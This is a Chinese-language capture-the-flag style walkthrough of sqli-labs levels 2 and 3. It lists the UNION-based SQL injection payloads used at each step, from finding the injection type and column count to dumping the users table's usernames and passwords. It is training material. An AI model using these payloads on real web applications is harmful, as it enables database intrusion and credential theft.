【sqli靶场】第二关和第三关通关思路

简介: 【sqli靶场】第二关和第三关通关思路




一、sqli靶场第二关

1.1 判断注入类型

输入?id=1',显示语法错误。

输入?id=1'',显示语法错误。

输入?id=1/1,正常回显。

输入?id=1/0,爆出如下页面:

证明存在数字型注入。

1.2 判断数据表中的列数

介绍一个方法:二分法

其基本思想是将待查找的区间不断二分,以缩小查找范围,直到找到目标元素。

输入?id=1 order by 10 --+,出现回显Unknown column '10' in 'order clause'。

用一下二分法,输入?id=1 order by 5 --+,仍然回显Unknown column '10' in 'order clause'。

继续,输入?id=1 order by 3 --+,正常回显。

输入?id=1 order by 4 --+,回显Unknown column '10' in 'order clause'。

说明列数为3。

1.3 使用union联合查询

联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列,列的数据类型必须兼容。

输入?id=0 union select 1,2,3--+,用来判断回显位,其中的0是不存在的id值,这是为了使后方语句union select 1,2,3能够执行,页面如下:

输入?id=0 union select 1,2,database()--+爆出数据库名

1.4 使用group_concat()函数

group_concat()函数是 MySQL 中的聚合函数,用于将多行数据按照指定的分隔符连接为一个字符串。

构造:

?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出了表名:

1.5 爆出users表中的列名

构造:

?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获得了users表中的列名:

1.6 爆出users表中的数据

查看users表中所有的用户:

?id=0 union select 1,2,group_concat(username) from security.users --+

查看users表中所有的用户密码:

?id=0 union select 1,2,group_concat(password) from security.users --+

用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=0 union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

二、sqli靶场第三关

2.1 判断注入类型

输入?id=1',显示语法错误。

输入?id=1'',正常回显。

输入?id=1/1,正常回显。

输入?id=1/0,正常回显。

判断为字符型注入(初步判断为单引号闭合)。

2.2 观察报错  

报错信息为''1'') LIMIT 0,1'

进一步判断为')闭合

输入?id=1') --+,正常回显。

2.3 判断数据表中的列数

输入?id=1') order by 3 --+,正常回显。

输入?id=1') order by 4 --+,显示超出。

用二分法与order by确定列数为3

2.4 使用union联合查询

输入?id=0') union select 1,2,3--+,判断回显位,页面如下:

输入?id=0') union select 1,2,database()--+爆出数据库名:

2.5 使用group_concat()函数

输入:

?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出表名:

2.6 爆出users表中的列名

输入:

?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获得了users表中的列名:

2.7 爆出users表中的数据

查看users表中所有的用户:

?id=0') union select 1,2,group_concat(username) from security.users --+

查看users表中所有的用户密码:

?id=0') union select 1,2,group_concat(password) from security.users --+

用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=0') union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

目录
相关文章
|
6月前
|
XML 安全 数据库
【sqli靶场】第四关和第五关通关思路
【sqli靶场】第四关和第五关通关思路
98 0
|
1月前
|
数据采集 安全 Java
Burpsuite Intruder 暴力破jie实战
Burpsuite Intruder 暴力破jie实战
|
6月前
|
安全 网络安全 数据安全/隐私保护
|
6月前
|
SQL 关系型数据库 MySQL
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
|
6月前
|
存储 安全 Linux
CTFHuB靶场命令执行题型过关总结
本篇博文是对自己学习rce漏洞后,因为没有进行实战练习,仅仅停留在概念上,因此做了一次靶场实战练习,来帮助自己熟悉rce漏洞的利用类型以及利用方法,写下这篇文章对此做个总结..其实关于这个练习已经过去了很久了,但我还是要那出来进行一次复习吧,对与命令执行相关的一些操作,对自己在漏洞挖掘方面能有更多的帮助,通过这次练习也对自己关于代码审计或是关于linux命令的常见命令的同意替换有了更多的了解.
|
6月前
|
SQL 安全 数据库
SQLI-Labs通关笔记(1-5)
SQLI-Labs通关笔记(1-5)
70 0
|
6月前
|
安全 关系型数据库 MySQL
【sqli靶场】第六关和第七关通关思路
【sqli靶场】第六关和第七关通关思路
123 0
pikachu靶场通关秘籍之目录遍历攻击
pikachu靶场通关秘籍之目录遍历攻击
184 0
|
Windows
pikachu靶场通关秘籍之命令执行攻击
pikachu靶场通关秘籍之命令执行攻击
129 0
|
网络安全 数据安全/隐私保护
[网络安全]BurpSuite爆破实战解题详析之BUUCTF Brute 1
Burp抓包 单独抓包时回显仅用户名错误,考虑先爆破用户名。
708 0